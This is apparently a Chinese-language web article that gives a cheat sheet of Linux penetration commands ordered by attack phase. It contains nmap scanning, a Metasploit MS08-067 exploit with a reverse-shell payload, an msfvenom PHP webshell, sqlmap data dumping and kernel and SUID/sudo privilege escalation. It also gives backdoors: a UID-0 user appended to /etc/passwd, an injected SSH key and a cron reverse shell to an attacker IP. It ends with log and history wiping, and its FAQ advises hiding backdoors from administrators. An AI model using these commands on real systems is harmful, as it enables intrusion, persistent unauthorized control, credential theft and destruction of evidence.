Linux渗透必学命令有哪些?

Linux渗透测试中,命令行是核心工具,通过高效命令可实现信息收集漏洞利用、权限提升、痕迹清理等目标,以下从渗透测试流程出发,详细梳理常用Linux渗透命令及使用场景。

linux渗透命令
(图片来源网络,侵删)

信息收集阶段

信息收集是渗透测试的首要步骤,目标是获取目标系统的基本信息、开放服务、用户账号等关键数据。

主机发现与端口扫描

基础扫描:使用ping判断主机存活状态,结合nmap进行详细端口扫描。

ping -c 4 目标IP                  # 发送4个ICMP包检测主机存活
nmap -sS -p 1-65535 目标IP        # TCP SYN扫描全端口(隐蔽)
nmap -sV -sC -p 22,80,443 目标IP  # 常用端口扫描,并检测服务版本与默认脚本

参数说明-sS为半开放扫描,-sV识别服务版本,-sC运行默认脚本,-p指定端口范围。

服务与漏洞探测

通过netstatss查看本地网络连接,结合curlwget探测Web服务。

linux渗透命令
(图片来源网络,侵删)
netstat -tulnp                     # 查看监听端口及进程(需root权限)
ss -tulnp                          # 替代netstat的现代化工具
curl -I http://目标IP               # 获取HTTP响应头,判断Web服务类型
nmap --script vuln 目标IP          # 使用nmap脚本扫描已知漏洞

用户与系统信息收集

uname -a                          # 查看内核版本与系统架构
cat /etc/issue                    # 查看系统发行版信息
cat /etc/passwd                   # 获取用户列表(仅显示可登录用户)
cat /etc/shadow                   # 查看用户密码哈希(需root权限)
ls -la /home/                     # 查看用户目录权限

漏洞利用与权限获取

在信息收集基础上,针对发现的漏洞利用工具获取初始权限。

渗透测试框架使用

Metasploit Framework是常用渗透平台,通过msfconsole启动:

msfconsole                          # 启动Metasploit
search ms08_067                    # 搜索漏洞模块(如MS08-067)
use exploit/windows/smb/ms08_067_netapi  # 选择模块
set RHOSTS 目标IP                   # 设置目标主机
set PAYLOAD windows/meterpreter/reverse_tcp # 设置载荷
exploit                            # 执行漏洞利用

Meterpreter后门是Metasploit的核心载荷,可远程控制目标系统:

sysinfo                           # 查看目标系统信息
getuid                            # 获取当前用户权限
ps                                # 查看进程列表
upload /本地文件 /目标路径         # 上传文件到目标
download /目标文件 /本地路径         # 下载目标文件到本地
shell                             # 获取目标系统交互式shell

Web漏洞利用

针对Web应用的漏洞,常用sqlmapBurp Suite等工具。
SQL注入检测与利用

linux渗透命令
(图片来源网络,侵删)
sqlmap -u "http://目标IP/index.php?id=1" --dbs        # 枚举数据库
sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 --tables # 枚举表名
sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 -T 表名 --dump # 导出表数据

文件上传漏洞:使用wgetcurl上传Webshell,或利用msfvenom生成恶意载荷:

msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击IP LPORT=4444 -f raw > shell.php

通过Webshell上传工具将shell.php上传至目标服务器,再通过ncmsf监听连接。

密码破解与凭证获取

字典攻击:使用johnhashcat破解密码哈希。

john --wordlist=字典文件 password.txt  # 使用字典破解密码
hashcat -m 1000 password.txt 字典文件   # 使用hashcat(支持GPU加速)

凭证抓取:通过Mimikatz在Windows系统抓取明文密码,Linux下可使用gdb调试sshd进程获取密码。

权限提升

获取低权限用户后,需通过内核漏洞、SUID提权、服务配置错误等方式提升权限。

内核漏洞提权

使用Linux Exploit Suggester检查内核版本对应的已知漏洞:

wget https://github.com/mzet-/linux-exploit-suggester/releases/latest/download/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh       # 输出可能存在的内核漏洞

根据漏洞结果,利用gcc编译漏洞利用代码并执行:

gcc 46215.c -o exp                 # 编译漏洞利用程序
./exp                              # 执行提权

SUID/GUID提权

查找具有SUID权限的可执行文件,利用/etc/passwdfind命令:

find / -perm -u=s -type f 2>/dev/null  # 查找SUID文件
ls -la /usr/bin/passwd               # 检查passwd是否具有SUID权限(可修改密码)

利用/etc/passwd生成用户

openssl passwd -1 -salt "test" "123456"  # 生成密码哈希
echo "test:$1$test$XJ8iS9zQjKq9sE8J8H8K.:0:0::/root:/bin/bash" >> /etc/passwd

新用户test可直接登录root权限。

服务配置错误提权

检查sudo配置文件,查看当前用户是否有sudo权限:

sudo -l                            # 查看sudo权限

若允许以root身份执行特定命令(如findvim),可利用命令提权:

sudo find / -exec /bin/sh \;       # 通过find命令获取root shell

维持访问与痕迹清理

后门植入

为长期控制目标系统,需植入隐蔽后门:
用户后门:创建具有UID为0的用户(root权限):

useradd -u 0 -o -g root testuser   # 创建root用户
passwd testuser                    # 设置密码

SSH密钥后门:将公钥写入/root/.ssh/authorized_keys,实现免密登录:

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... 攻击用户@攻击主机" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

定时任务后门:通过cron植入反弹shell:

echo "*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444 0>&1" >> /var/spool/cron/root

痕迹清理

删除日志文件、命令历史记录,避免被检测:

history -c                         # 清空当前会话命令历史
echo > ~/.bash_history              # 清空用户历史记录
cat /dev/null > /var/log/auth.log  # 清空认证日志
cat /dev/null > /var/log/wtmp      # 清空登录记录

Linux渗透命令速查表

功能分类命令示例说明
主机存活检测ping -c 4 目标IP发送ICMP包检测主机是否在线
端口扫描nmap -sS -p 1-65535 目标IPTCP SYN扫描全端口,隐蔽性强
服务版本探测nmap -sV -p 22,80 目标IP检测端口对应服务的版本信息
系统信息收集uname -acat /etc/issue查看内核版本、系统发行版
用户列表查看cat /etc/passwd获取系统所有用户(仅显示可登录用户)
进程与端口查看netstat -tulnpss -tulnp查看监听端口及关联进程
Web服务探测curl -I http://目标IP获取HTTP响应头,判断Web类型
漏洞扫描nmap --script vuln 目标IP使用nmap脚本扫描已知漏洞
Metasploit启动msfconsole启动Metasploit渗透框架
SQL注入检测sqlmap -u "URL" --dbs枚举目标数据库
密码哈希破解john --wordlist=字典文件 password.txt使用John the Ripper破解密码哈希
内核漏洞提权./linux-exploit-suggester.sh检查系统内核是否存在已知漏洞
SUID文件查找find / -perm -u=s -type f 2>/dev/null查找具有SUID权限的可执行文件
sudo权限查看sudo -l查看当前用户的sudo执行权限
SSH后门植入echo "公钥" >> /root/.ssh/authorized_keys将公钥写入目标主机,实现免密登录
日志清空cat /dev/null > /var/log/auth.log清空系统认证日志

相关问答FAQs

Q1:Linux渗透测试中,如何判断目标系统是否存在内核漏洞?
A1:可通过以下步骤判断:

  1. 使用uname -a获取目标系统的内核版本信息;
  2. 将内核版本与已知漏洞库(如Exploit-DB)对比,或使用自动化工具Linux Exploit Suggester(如./linux-exploit-suggester.sh)扫描;
  3. 若发现匹配的漏洞,下载对应的利用代码,编译后执行,测试是否可提权,需注意,漏洞利用可能导致系统不稳定,建议在测试环境中先验证。

Q2:在Linux渗透测试中,如何实现持久化访问?
A2:持久化访问可通过以下方式实现:

  1. 用户后门:创建具有root权限的隐藏用户(如useradd -u 0 testuser),并设置复杂密码;
  2. SSH密钥后门:将攻击者的公钥写入目标主机的/root/.ssh/authorized_keys,实现免密SSH登录;
  3. 定时任务后门:利用cron设置定时任务,定期执行反弹shell(如*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444);
  4. 服务后门:修改或替换合法服务(如SSH、Telnet),植入恶意代码,或通过inetd/xinetd配置隐藏服务,需注意,后门应隐蔽放置,避免被管理员发现。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/377009.html<

(0)
运维的头像运维
上一篇2025-10-02 00:25
下一篇 2025-10-02 00:31

相关推荐

  • 如何安全获取网站后台账号?

    获取网站后台账号是一个涉及技术、权限管理和法律合规性的复杂问题,必须明确强调:任何未经授权访问他人网站后台的行为均属于违法行为,可能违反《网络安全法》《刑法》等相关法律法规,需承担民事赔偿、行政处罚甚至刑事责任,以下内容仅从技术学习和安全防护角度出发,探讨合法获取权限的途径及常见攻击手段的防范,旨在帮助管理员加……

    2025-11-13
    0
  • 织梦后台密码如何安全破解?

    在网络安全领域,破解他人系统后台密码属于违法行为,不仅侵犯他人隐私,还可能触犯《刑法》第285条关于非法侵入计算机信息系统罪的规定,以下内容仅从技术研究和安全防护角度出发,探讨如何保护织梦(DedeCMS)后台密码安全,以及管理员如何通过合法途径恢复或加固密码,绝不鼓励任何非法破解行为,织梦后台密码安全风险分析……

    2025-11-10
    0
  • 网站如何被攻击?30字疑问标题,

    网站被攻击的方式多种多样,攻击者通常会利用技术漏洞、管理疏忽或社会工程学手段达成目的,常见的攻击类型包括DDoS攻击、SQL注入、跨站脚本(XSS)、恶意软件植入、钓鱼攻击等,DDoS攻击通过控制大量僵尸网络向目标服务器发送海量请求,耗尽其带宽和资源,导致网站无法正常访问,SQL注入则是攻击者在输入框中插入恶意……

    2025-11-04
    0
  • 网站如何获取更高权限?

    获取网站的更高权限是一个涉及技术、策略和伦理的复杂过程,通常需要系统性的规划和合法合规的操作,以下从技术手段、策略方法、风险控制等方面展开详细说明,帮助理解这一过程的逻辑和注意事项,技术层面是获取权限的基础,常见的合法技术手段包括漏洞挖掘和权限提升,漏洞挖掘需要熟悉Web应用架构,如常见的SQL注入、XSS跨站……

    2025-11-02
    0
  • FTP账号密码如何获取?

    获取FTP账号密码通常涉及合法授权与合规操作,以下是针对不同场景下的获取方法及注意事项,需严格遵循法律法规与道德规范,通过正规渠道获取系统管理员分配在企业或组织环境中,FTP账号密码通常由IT管理员统一创建并分配,用户需向管理员提交申请,说明使用需求(如文件传输权限、访问目录范围等),管理员根据权限策略设置密码……

    2025-11-01
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注